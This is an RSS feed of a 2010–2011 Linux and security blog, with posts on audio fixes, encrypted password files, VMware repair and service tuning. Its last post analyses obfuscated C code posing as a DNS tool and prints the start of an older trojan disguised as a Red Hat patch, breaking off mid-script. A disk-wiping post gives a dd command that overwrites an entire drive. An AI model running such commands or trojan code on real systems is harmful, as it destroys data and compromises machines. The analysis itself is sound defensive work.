<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Phocean.net / Computer Security &#187; Linux</title>
	<atom:link href="http://www.phocean.net/category/administration-systeme/linux/feed" rel="self" type="application/rss+xml" />
	<link>http://www.phocean.net</link>
	<description>&#34;A defense that hedgehogs possess is the ability to roll into a tight ball, causing all of the spines to point outwards.&#34; -- Wikipedia</description>
	<lastBuildDate>Wed, 30 Nov 2011 22:02:47 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Headphones not muting the speakers with a Gigabyte motherboard</title>
		<link>http://www.phocean.net/2011/05/28/headphones-not-muting-the-speakers-with-a-gigabyte-motherboard.html?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=headphones-not-muting-the-speakers-with-a-gigabyte-motherboard</link>
		<comments>http://www.phocean.net/2011/05/28/headphones-not-muting-the-speakers-with-a-gigabyte-motherboard.html#comments</comments>
		<pubDate>Sat, 28 May 2011 21:22:32 +0000</pubDate>
		<dc:creator>phocean</dc:creator>
				<category><![CDATA[Desktop]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[Alsa]]></category>
		<category><![CDATA[Intel]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=1078</guid>
		<description><![CDATA[It had been months since I had an weired issue with the embedded audio controller of my Gigabyte motherboard. Plugin the headphones on the front panel of my box didn&#8217;t mute the output to the speakers, which nullified the purpose of having headphones. I long thought that it was some hardware issue that I would [...]]]></description>
			<content:encoded><![CDATA[<p>It had been months since I had an weired issue with the embedded audio controller of my Gigabyte motherboard.</p>
<p>Plugin the headphones on the front panel of my box didn&#8217;t mute the output to the speakers, which nullified the purpose of having headphones.</p>
<p>I long thought that it was some hardware issue that I would have to sort some day by opening the box and checking the connections.</p>
<p>Yesterday, I decided to solve it for good and I started to google&#8230; and found out that it was a pure software issue!</p>
<p>The culprit sounded to be some unproper settings of the ALSA module and this <a title="Hda Intel Sound Howto" href="https://help.ubuntu.com/community/HdaIntelSoundHowto">Ubuntu guide</a> just saved me.</p>
<p>I carefully followed the steps and it appeared that for my <a title="Gigabyte GA-790FXTA-UD5" href="http://www.gigabyte.com/products/product-page.aspx?pid=3258" target="_blank">Gigabyte GA-790FXTA-UD5</a>, it was necessary to this line:</p>
<pre>add ﻿options snd-hda-intel model=3stack-hp</pre>
<p>to</p>
<pre>/etc/modprobe.d/alsa-base.conf</pre>
<p>Ok, it did not go so smoothly as I picked out randomly models from the list until I find the right one (I had no idea of what was embbeded on my board). I hope this may help, as I have quite a lot of people with similar issues with all kinds of vendors.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2011/05/28/headphones-not-muting-the-speakers-with-a-gigabyte-motherboard.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>How do you manage your passwords?</title>
		<link>http://www.phocean.net/2011/04/17/how-do-you-manage-your-passwords.html?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=how-do-you-manage-your-passwords</link>
		<comments>http://www.phocean.net/2011/04/17/how-do-you-manage-your-passwords.html#comments</comments>
		<pubDate>Sun, 17 Apr 2011 20:58:35 +0000</pubDate>
		<dc:creator>phocean</dc:creator>
				<category><![CDATA[Admin]]></category>
		<category><![CDATA[Cracking]]></category>
		<category><![CDATA[Defense]]></category>
		<category><![CDATA[Desktop]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[aes]]></category>
		<category><![CDATA[gpg]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[vim]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=1028</guid>
		<description><![CDATA[We all know that passwords sucks, that they are the nightmare of all administrators and security guys. So many hacks have been eased because the victims reused the same password everywhere : email account, forum, bank, critical systems&#8230; Sadly, so far, there is even not the beginning of a replacement solution. Passwords will be there [...]]]></description>
			<content:encoded><![CDATA[<p>We all know that passwords sucks, that they are the nightmare of all administrators and security guys. So many hacks have been eased because the victims reused the same password everywhere : email account, forum, bank, critical systems&#8230;</p>
<p>Sadly, so far, there is even not the beginning of a replacement solution. Passwords will be there for long, so we would better use them accordingly.</p>
<p>Yes, I am aware of many on-line services like FisrtPass, KeePass, 1stPassword, etc. However, I don&#8217;t feel comfortable with having all my password somewhere on-line, even if they claim &#8211; and I believe they are sincere, that they use strong encryption and can&#8217;t access to it.</p>
<p>Instead, I use a combination of the Firefox password manager and the <a title="Pwgen for Firefox" href="https://addons.mozilla.org/en-us/firefox/addon/pwgen-password-generator/" target="_blank">Pwgen add-on</a>. I use this add-on to quickly and conveniently generate a random password when I subscribe to a web service. When Firefox prompts for it, I just choose to remember the password automatically. SSO quick and dirty.</p>
<p>For the other passwords that I can&#8217;t and don&#8217;t need to memorize, I store them in a local encrypted file.</p>
<p>To edit the file, I simply use Vim with this nice <a title="GPG Vim plugin" href="http://vim.wikia.com/wiki/Edit_gpg_encrypted_files" target="_blank">GPG plugin</a>:</p>
<ul>
<li>copy gpg.vim to /home/$user/.vim/plugin</li>
<li>if not done yet, generate you GPG key :
<pre> $ gpg --gen-key</pre>
</li>
<li>Encrypt your password file and erase it:
<pre>$ gpg --encrypt --recipient 'your name' passwords
$ rm passwords</pre>
</li>
<li>Now, it&#8217;s done. Just edit password.gpg to decrypt and access to your passwords (you will be prompted for your passphrase):
<pre>$ vim passwords.gpg</pre>
</li>
</ul>
<p>If you don&#8217;t like the overhead of GPG, a more straightforward solution is to use the <a title="OpenSSL Vim extension" href="http://www.vim.org/scripts/script.php?script_id=2012" target="_blank">OpenSSL extension</a> :</p>
<ul>
<li>Copy the openssl.vim file to /home/$user/.vim/plugin as well.</li>
</ul>
<ul>
<li>Now, to encrypt to file to, say, AES (note the .aes file extension which makes sense for the plugin):
<pre>$ openssl aes-256-cbc -in passwords -out passwords.aes</pre>
</li>
<li>Decryption will occur as soon as you edit the file with Vim:
<pre>$ vim passwords.aes</pre>
</li>
</ul>
<p>I believe that, if not perfect, it is pretty secure. I mean not more, not less than your system is. Anyway I don&#8217;t have any need for an on-line manager. And you, how do you manage your passwords? Let us know about your tips.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2011/04/17/how-do-you-manage-your-passwords.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Disk wiping : Myth broken</title>
		<link>http://www.phocean.net/2011/03/06/disk-wiping-myth-broken.html?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=disk-wiping-myth-broken</link>
		<comments>http://www.phocean.net/2011/03/06/disk-wiping-myth-broken.html#comments</comments>
		<pubDate>Sun, 06 Mar 2011 18:58:10 +0000</pubDate>
		<dc:creator>phocean</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[Privacy]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[dd]]></category>
		<category><![CDATA[format]]></category>
		<category><![CDATA[Hard drive]]></category>
		<category><![CDATA[wiping]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=1024</guid>
		<description><![CDATA[There are many urban legends in the industry. I did believe in one of them : &#8220;wiping a disk to properly prevent data restore requires random writes and several passes&#8221;. At least until I found this very instructive article, &#8220;Disk Wiping &#8211; One pass is enough&#8220;. Don&#8217;t miss the second part which clarifies some points [...]]]></description>
			<content:encoded><![CDATA[<p>There are many urban legends in the industry. I did believe in one of them : &#8220;wiping a disk to properly prevent data restore requires random writes and several passes&#8221;.</p>
<p>At least until I found this very instructive article, &#8220;<a title="Disk Wiping - one pass is enough" href="http://www.anti-forensics.com/disk-wiping-one-pass-is-enough" target="_blank">Disk Wiping &#8211; One pass is enough</a>&#8220;. Don&#8217;t miss <a title="Disk Wiping - one pas is enought - part 2" href="http://www.anti-forensics.com/disk-wiping-one-pass-is-enough-part-2-this-time-with-screenshots" target="_blank">the second part</a> which clarifies some points and gives more details.</p>
<p>In short, after one pass, every bit of the disk is filled with zero and there is simply no way to find out what the previous value was. Even the best tools out there have no clue to do it.</p>
<p>Then, there is a theory of physically restoring each bit using a magnetic force microscope. It has always came with a high error rate, and with modern high density disks it is even less reliable. Now, considering any real world data length, errors occurring on the restored bits would make it impossible to rebuild any usable data. There is obviously no chance for such a technique to recover a file.</p>
<p>So, in the future, I will not only save time doing one pass, but I will replace :</p>
<pre>$ dd if=/dev/urandom of=/dev/sda</pre>
<p>with</p>
<pre>$ dd if=/dev/zero of=/dev/sda</pre>
<p>Note that formating just reset the partition table. In no way it clears out every bit of the disk.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2011/03/06/disk-wiping-myth-broken.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>World&#8217;s worst hacker</title>
		<link>http://www.phocean.net/2011/01/31/worlds-worst-hacker.html?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=worlds-worst-hacker</link>
		<comments>http://www.phocean.net/2011/01/31/worlds-worst-hacker.html#comments</comments>
		<pubDate>Mon, 31 Jan 2011 18:44:20 +0000</pubDate>
		<dc:creator>phocean</dc:creator>
				<category><![CDATA[Admin]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[honeypot]]></category>
		<category><![CDATA[SSH]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=1003</guid>
		<description><![CDATA[That was so funny !]]></description>
			<content:encoded><![CDATA[<p><a title="World's worst hacker" href="http://george.hedfors.com/content/worlds-worst-hacker" target="_blank">That</a> was so funny !</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2011/01/31/worlds-worst-hacker.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Corrupted virtual disk with VMware</title>
		<link>http://www.phocean.net/2011/01/16/corrupted-virtual-disk-with-vmware.html?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=corrupted-virtual-disk-with-vmware</link>
		<comments>http://www.phocean.net/2011/01/16/corrupted-virtual-disk-with-vmware.html#comments</comments>
		<pubDate>Sun, 16 Jan 2011 17:02:50 +0000</pubDate>
		<dc:creator>phocean</dc:creator>
				<category><![CDATA[Admin]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[Virtualization]]></category>
		<category><![CDATA[crash]]></category>
		<category><![CDATA[File system]]></category>
		<category><![CDATA[VMware]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=961</guid>
		<description><![CDATA[Wow, this article and especially one of its comments saved my day. My computer crashed and one of the VMware machine hosted on it could not start anymore : “Cannot open the disk ‘path of vmdk’ or one of the snapshot disks it depends on. Reason: the specific virtual disk needs repair. Checking on the [...]]]></description>
			<content:encoded><![CDATA[<p>Wow, <a title="Repair vmware" href="http://www.smoothblog.co.uk/2010/07/15/how-to-fix-vmware-the-specific-virtual-disk-needs-repair/" target="_blank">this article</a> and especially <a title="virtual disk development" href="http://www.smoothblog.co.uk/2010/07/15/how-to-fix-vmware-the-specific-virtual-disk-needs-repair/?cid=3319" target="_blank">one of its comments</a> saved my day.</p>
<p>My computer crashed and one of the VMware machine hosted on it could not start anymore :</p>
<blockquote><p>“Cannot open the disk ‘path of vmdk’ or one of the snapshot disks it depends on.<br />
Reason: the specific virtual disk needs repair.</p></blockquote>
<p>Checking on the VMware forums, I quickly found the command that was supposed to help :</p>
<pre class="brush: plain; title: ; notranslate">$ vmware-vdiskmanager -R /path/to/disk.vmdk
The virtual disk, '/path/to/disk.vmdk', is corrupted but the repair process has failed.</pre>
<p>Damned ! I almost resigned restoring the last backup and loosing a week of work when, by chance, I found the article mentioned above.</p>
<p>As recommended, I downloaded the <strong>Virtual Disk Development Kit 1.2</strong> from VMware, untared it and still doubtfully launched :</p>
<pre class="brush: plain; title: ; notranslate">$ ./bin64/vmware-vdiskmanager -R /path/to/disk.vmdk
The virtual disk, '/path/to/disk.vmdk', was corrupted and has been  successfully repaired.</pre>
<p>Saved! Thanks so much to the guys. I would have never thought about trying it, I wonder how they could find it.</p>
<p>But how is it possible that the utility coming with vmware workstation 7.1 suck so much and is not on par with other versions ?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2011/01/16/corrupted-virtual-disk-with-vmware.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Yet OpenSSL renegociation not fully fixed</title>
		<link>http://www.phocean.net/2010/10/16/yet-openssl-renegociation-not-fully-fixed.html?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=yet-openssl-renegociation-not-fully-fixed</link>
		<comments>http://www.phocean.net/2010/10/16/yet-openssl-renegociation-not-fully-fixed.html#comments</comments>
		<pubDate>Sat, 16 Oct 2010 07:35:59 +0000</pubDate>
		<dc:creator>phocean</dc:creator>
				<category><![CDATA[Admin]]></category>
		<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[openSSL]]></category>
		<category><![CDATA[Opera]]></category>
		<category><![CDATA[renegociation]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=924</guid>
		<description><![CDATA[How the hell is it possible that after so many months, the fix for OpenSSL renegociation has not been yet included in either Chrome (6.0.4) or Opera (10.61)? I haven&#8217;t tested other browsers though, except Firefox which at least has fixed the issue since several months.]]></description>
			<content:encoded><![CDATA[<p>How the hell is it possible that after so many months, <a title="OpenSSL renegociation issue" href="http://www.phocean.net/2010/04/05/updates-about-openssl-cve-2009-3555-client-renegociation.html" target="_self">the fix for OpenSSL renegociation</a> has not been yet included in either Chrome (6.0.4) or Opera (10.61)? I haven&#8217;t tested other browsers though, except Firefox which at least has fixed the issue since several months.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2010/10/16/yet-openssl-renegociation-not-fully-fixed.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>get rid off ConsoleKit / Dbus / Hal stuff on a server</title>
		<link>http://www.phocean.net/2010/10/04/get-rid-off-consolekit-dbus-hal-stuff-on-a-server.html?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=get-rid-off-consolekit-dbus-hal-stuff-on-a-server</link>
		<comments>http://www.phocean.net/2010/10/04/get-rid-off-consolekit-dbus-hal-stuff-on-a-server.html#comments</comments>
		<pubDate>Mon, 04 Oct 2010 20:41:09 +0000</pubDate>
		<dc:creator>phocean</dc:creator>
				<category><![CDATA[Admin]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[ConsoleKit]]></category>
		<category><![CDATA[dbus]]></category>
		<category><![CDATA[hal]]></category>
		<category><![CDATA[service]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=915</guid>
		<description><![CDATA[Console-Kit spawns 35 threads on my system, which is a waste considering that I use at most 7 vty. But it is definitely useless on a server (you don&#8217;t need fast switching stuff). Dbus and Hal are also not useful on a server and consuming resources for nothing. Unfortunately, they are settled with the default [...]]]></description>
			<content:encoded><![CDATA[<p>Console-Kit spawns 35 threads on my system, which is a waste considering that I use at most 7 vty. But it is definitely useless on a server (you don&#8217;t need fast switching stuff). Dbus and Hal are also not useful on a server and consuming resources for nothing.</p>
<p>Unfortunately, they are settled with the default basic installation and they have some dependencies (e.g the kernel and zypper) that make them impossible to simply uninstall .</p>
<p>Here is a way to at least deactivate these services at startup on openSUSE 11.2 (it might also work with 11.3).</p>
<p>First, ConsoleKit is not a standalone daemon anymore on the latest versions of openSUSE. It is started along with dbus (you will see that if you stop dbus, all the ConsoleKit thread will magically vanish).</p>
<p>But trying straight to remove dbus from the startup doesn&#8217;t work, because of dependencies among services. On my system, it complained like this:</p>
<pre class="brush: plain; title: ; notranslate"># chkconfig dbus off
 insserv: Service dbus has to be enabled to start service bluez-coldplug
 insserv: Service dbus has to be enabled to start service network
 insserv: Service dbus has to be enabled to start service haldaemon
 insserv: Service dbus has to be enabled to start service earlyxdm
 insserv: exiting now!
 /sbin/insserv failed, exit code 1
 [1]    7954 exit 1     chkconfig dbus off</pre>
<p>So, let&#8217;s remove the bluetooth stuff:</p>
<pre class="brush: plain; title: ; notranslate"># zypper remove bluez</pre>
<p>Then, we just deactivate the services that can&#8217;t uninstalled:</p>
<pre class="brush: plain; title: ; notranslate"># chkconfig earlyxdm off
# chkconfig network-remotefs off
# chkconfig haldaemon off</pre>
<p>You will probably want to keep the network service on, otherwise your configurations scripts won&#8217;t be read anymore. In fact, we will just edit the dependency of the startup script itself, by editing /etc/init.d/network and editing these lines:</p>
<pre class="brush: plain; title: ; notranslate"># Required-Start:    $local_fs dbus
# Required-Stop:    $local_fs dbus</pre>
<p>What we do is just deleting the dbus word, so that the script section looks like it:</p>
<pre class="brush: plain; title: ; notranslate">### BEGIN INIT INFO
# Provides:        network
# Required-Start:    $local_fs
# Should-Start:        isdn openibd SuSEfirewall2_init
# Required-Stop:    $local_fs
# Should-Stop:        isdn openibd SuSEfirewall2_init
# Default-Start:    2 3 5
# Default-Stop:
# Short-Description:    Configure the localfs depending network interfaces
# Description:        Configure the localfs depending network interfaces
#                       and set up routing
### END INIT INFO</pre>
<p>Now we are done and we should be able to definitely turn dbus off:</p>
<pre class="brush: plain; title: ; notranslate"># chkconfig dbus off</pre>
<p>Bingo! I didn&#8217;t monitor the memory precisely, but I believe I saved around 50 MB, which is always welcomed on a small server.</p>
<p>I don&#8217;t know if it is the best way &#8211; I may have missed something &#8211; however I am pretty happy as it now works as I wanted. Please let me know if you have a better tip.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2010/10/04/get-rid-off-consolekit-dbus-hal-stuff-on-a-server.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>How to physically identify a software RAID disk member</title>
		<link>http://www.phocean.net/2010/09/25/how-to-physically-identify-a-software-raid-disk-member.html?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=how-to-physically-identify-a-software-raid-disk-member</link>
		<comments>http://www.phocean.net/2010/09/25/how-to-physically-identify-a-software-raid-disk-member.html#comments</comments>
		<pubDate>Fri, 24 Sep 2010 23:22:14 +0000</pubDate>
		<dc:creator>phocean</dc:creator>
				<category><![CDATA[Admin]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[RAID]]></category>
		<category><![CDATA[SMART]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=907</guid>
		<description><![CDATA[What you need: a good earing smartmontools Indeed, so far, I haven&#8217;t found anything better than launching a process making a lot of disk activity. This command just do it: The &#8220;short&#8221; test will give you a few minutes to carefully listen and select the right disk. Well, it sure is pretty primitive! But do [...]]]></description>
			<content:encoded><![CDATA[<p>What you need:</p>
<ul>
<li>a good earing</li>
<li>smartmontools</li>
</ul>
<p>Indeed, so far, I haven&#8217;t found anything better than launching a process making a lot of disk activity.</p>
<p>This command just do it:</p>
<pre class="brush: bash; title: ; notranslate">% sudo smartctl -t short /dev/sda</pre>
<p>The &#8220;short&#8221; test will give you a few minutes to carefully listen and select the right disk.</p>
<p>Well, it sure is pretty primitive! But do you know anything better?</p>
<p>By the way, <a title="Raid recovery procedure" href="http://www.anchor.com.au/hosting/support/Linux_Software_RAID_Repair" target="_self">there</a> is a good article for the recovery procedure.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2010/09/25/how-to-physically-identify-a-software-raid-disk-member.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Beware of source code (even from your favorite portal/forum/&#8230;)</title>
		<link>http://www.phocean.net/2010/04/24/beware-of-source-code-even-from-your-favorite-portalforum.html?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=beware-of-source-code-even-from-your-favorite-portalforum</link>
		<comments>http://www.phocean.net/2010/04/24/beware-of-source-code-even-from-your-favorite-portalforum.html#comments</comments>
		<pubDate>Sat, 24 Apr 2010 12:14:04 +0000</pubDate>
		<dc:creator>phocean</dc:creator>
				<category><![CDATA[Admin]]></category>
		<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Malware forensics]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Bash]]></category>
		<category><![CDATA[C]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[obfuscation]]></category>
		<category><![CDATA[RC4]]></category>
		<category><![CDATA[shell]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[social engineering]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=793</guid>
		<description><![CDATA[The other day I stumbed upon a weired piece of software on howtoforge.com : dns-add (code on sourceforge.net). Actually, the purpose of dns-add was very intriguing : update your DNS in one command ! The output should look like this: Who would need it these days where all distros include tools and script to update [...]]]></description>
			<content:encoded><![CDATA[<p>The other day I stumbed upon a weired piece of software on <a title="Howtoforge.com" href="http://howtoforge.com" target="_blank">howtoforge.com</a> : <a title="dns-add" href="http://www.howtoforge.com/adding-dns-servers-in-one-step-with-dns-add" target="_blank">dns-add</a> (code <a title="Sourceforge dns-add" href="http://sourceforge.net/projects/isp-fw/files/DNS-add/" target="_blank">on sourceforge.net</a>).</p>
<p>Actually, the purpose of dns-add was very intriguing : update your DNS in one command !</p>
<p>The output should look like this:</p>
<pre class="brush: plain; title: ; notranslate">...::: ISP-fW DNS add v1.0  :::... http://isp-fw.sourceforge.net/
--== copyleft 2005-2006 ==-- | Free memory:         864
contact isp.devel@gmail.com
You can add up to 9 DNS servers, enter a number from [0-9]: 2
Enter DNS1: 192.168.157.193
Enter DNS2: 192.168.157.251
Done adding 2 DNS!
DNS 192.168.157.193 responded in 0.256 ms
DNS 192.168.157.251 responded in 0.112 ms</pre>
<p>Who would need it these days where all distros include tools and script to update the DNS with DHCP. At worst, it is just a matter of opening an editor to add two lines in /etc/resolv.conf. Done in 10 seconds.</p>
<p>To enjoy dns-add, we are supposed to compile the source code. Let&#8217;s have a look at it first.</p>
<p>It gets quickly obvious that there could be something nasty. The code is clearly obfuscated, to make it difficult to read:</p>
<ul>
<li>not much commented,</li>
<li>a bunch of strange variables like &#8220;\026\243\314\376\220\366\154\166\346\334\005\116\360\114\015\231&#8243;. Could be the real code, hidden,</li>
<li>None of the visible stuff seems to do anything on the DNS.</li>
</ul>
<p>So now, let&#8217;s try to find out what&#8217;s behind all that. As we have the source code, the idea is to understand what the code is doing, so that we can write a snippet at the right place to just read the deciphered and potentially malicious code. That&#8217;s the easiest way, no need to disassembly and do memory forensic.</p>
<p>A good practice is to look for some pieces of code on the web, as developpers are lazy and often reuse already existing code. Doing that, you can save a lot of time.</p>
<p>Bingo ! There is a code almost entirely identical <a title="RedHat update malware" href="http://packetstormsecurity.nl/0410-advisories/FakeRedhatPatchAnalysis.txt" target="_blank">there</a>.<br />
We learn that the code, as old as 6 years old, actually hid a shell trojan instead of beeing a Red Hat update as claimed.</p>
<p>There is clearly a risk, so we must check what the code of dns-add contains. Here more hints help us again about the encoding used : some comments and a function name mention RC4 (or ARC4).</p>
<p>So let&#8217;s see how RC4 works and compare it with its possible implementation in dns-add.<br />
Rougly, RC4 is just an improved XOR whith the help of a lot of keys permutations. I found a clear and short description <a title="RC4" href="http://www.frontiernet.net/~fys/cypher.htm" target="_blank">there</a> :</p>
<blockquote><p>RC4 has two phases: key setup and ciphering.</p>
<p>The key setup phase is only done once per message and starts by initializing the entire state array so that the first state element is zero, the second is one, the third is two, and so on.</p>
<p>The state array is then subjected to 256 mixing operations using a loop that steps i through the values from zero to 255.</p>
<p>Each mixing operation consists of two steps:<br />
Add to the variable j the contents of the ith element of the state array and the nth element of the key, where n is equal to i modulo the length of the key.  (remember, the key here means the 10 byte IV at the front of the file, (or the one your program creates, if encoding), and the given key on the command line. (Key+IV)<br />
Swap the ith and jth elements of the state array.</p>
<p>After the entire mixing loop is completed, i and j are set to zero.</p>
<p>During the ciphering operation, the following steps are performed for each byte of the message:</p>
<p>The variable i is incremented by one<br />
The contents of the ith element of &#8216;State&#8217; is then added to j<br />
The ith and jth elements of &#8216;State&#8217; are swapped and their contents are added together to form a new value n.<br />
The nth element of &#8216;State&#8217; is then combined with the message byte, using a bit by bit exclusive-or operation (XOR), to form the output byte.<br />
The same ciphering steps are performed for encryption and for decryption.</p></blockquote>
<p><strong><em>void key(void * str, int len)</em></strong> for setting the key setup phase and <strong><em>void arc4(void * str, int len, char *hint)</em></strong> for the deciphering phase do exactly what&#8217;s described above.</p>
<p>They are called by <em><strong>char * xsh(int argc, char ** argv)</strong></em>, which we are going to look at carefully now.</p>
<p>This function succevely setup all keys and decipher all the hardcoded vars. Note that a function, <strong><em>chkenv,</em></strong> setup a variable in the environment, based on the PID (and other tricks). It is not useful in the present case, but it could be developped further and used for example to avoid over-infections.</p>
<p>What&#8217;s interesting is actually the bottom of the function, where the guy actually builds the shellcode, putting alltogether the pieces of deciphered code.</p>
<pre class="brush: cpp; title: ; notranslate">
j = 0;
varg[j++] = argv[0];		/* My own name at execution */
if (ret &amp;&amp; *opts)
	varg[j++] = opts;	/* Options on 1st line of code */
if (*inlo)
	varg[j++] = inlo;	/* Option introducing inline code */
varg[j++] = scrpt;		/* The script itself */
if (*lsto)
	varg[j++] = lsto;	/* Option meaning last option */
i = (ret &gt; 1) ? ret : 0;	/* Args numbering correction */
while (i &lt; argc)
	varg[j++] = argv[i++];	/* Main run-time arguments */
varg[j] = 0;			/* NULL terminated array */</pre>
<p>Then, it is launched with execvp:</p>
<pre class="brush: cpp; title: ; notranslate">
#if DEBUGEXEC
debugexec(shll, j, varg);
#endif
execvp(shll, varg);
return shll;
</pre>
<p><strong>Before testing further, it is safer to comment out the execvp line.</strong></p>
<p>Now, we just need to retrieve the shellcode, so we just add this lazy piece of code (to insert right before #if DEBUGEXEC):</p>
<pre class="brush: cpp; title: ; notranslate">
FILE *fout;
char **tmp;
tmp = varg;
fout = fopen (&quot;dns-test&quot;,&quot;w&quot;);
do {
  fprintf (fout, *tmp);
}
while (*tmp++ != NULL);
fclose (fout);</pre>
<p>Here we go :</p>
<pre class="brush: bash; title: ; notranslate">
$ ./dns-add
$ cat shellcode
./dns-add-c           &lt;blank chars skipped&gt;                    #!/bin/bash

dnsfile=&quot;/etc/resolv.conf&quot;
failed='\e[1;31m'failed'\e[0m'
ok='\e[1;34m'ok'\e[0m'

function dns_add(){
mv -f $dnsfile $dnsfile.back
for (( i=1; i &lt;= $dns_nr; i++ )) do
    echo -n &quot;Enter DNS${i}: &quot;
    read dns;
    echo &quot;nameserver $dns&quot; &gt;&gt; $dnsfile;
done
echo &quot;Done adding $dns_nr DNS!&quot;
echo
for i in `cat $dnsfile | cut -d &quot; &quot; -f 2`; do
    if [ `ping -c 1 $i | grep -c &quot;100%&quot;` -eq 1 ]; then
            echo -e &quot;DNS $i $failed to respond =&gt; request timeout <img src='http://www.phocean.net/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' />  &quot;
    else
        echo -ne &quot;DNS $i responded in &quot;;
        ping -c 1 $i | grep icmp_seq | cut -d &quot;=&quot; -f 4;
    fi
done
}

clear
echo -e &quot;...::: ISP-fW DNS add v1.0  :::...&quot;&quot;\e[1m\e[36;40m&quot; &quot;http://isp-fw.sourceforge.net/\e[0m &quot;;
echo -e &quot;--== copyleft 2005-2006 ==-- | Free memory: $(free -m|grep cache:|cut -d &quot;:&quot; -f2|cut -c12-22)&quot;;
echo &quot;contact isp.devel@gmail.com&quot;
echo
echo -n &quot;You can add up to 9 DNS servers, enter a number from [0-9]: &quot;;
read dns_nr;

case $dns_nr in
  [0-9]         ) dns_add;;
  [[:lower:]]   ) echo &quot;$dns_nr is not a number!&quot;;;
  [[:upper:]]   ) echo &quot;$dns_nr is not a number!&quot;;;
  *             ) echo &quot;$dns_nr is not a number!&quot;;;
esac
./dns-add</pre>
<p>That&#8217;s it. A big C file just for this lame shell script. The good news is that it does what it says. There is no malicious purpose, for now, it&#8217;s nothing else than a (bad) joke.</p>
<p>In the case of the original malware, it was more harmfull :</p>
<pre class="brush: bash; title: ; notranslate">#!/bin/sh
cd /tmp/
clear
if [ `id -u` != &quot;0&quot; ]
then
        echo &quot;This patch must be applied as \&quot;root\&quot;, and you are: \&quot;`whoami`\&quot;&quot;
        exit
fi
echo &quot;Identifying the system. This may take up to 2 minutes. Please wait ...&quot;
sleep 3
if [ ! -d /tmp/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot;/.&quot; &quot; ]; then
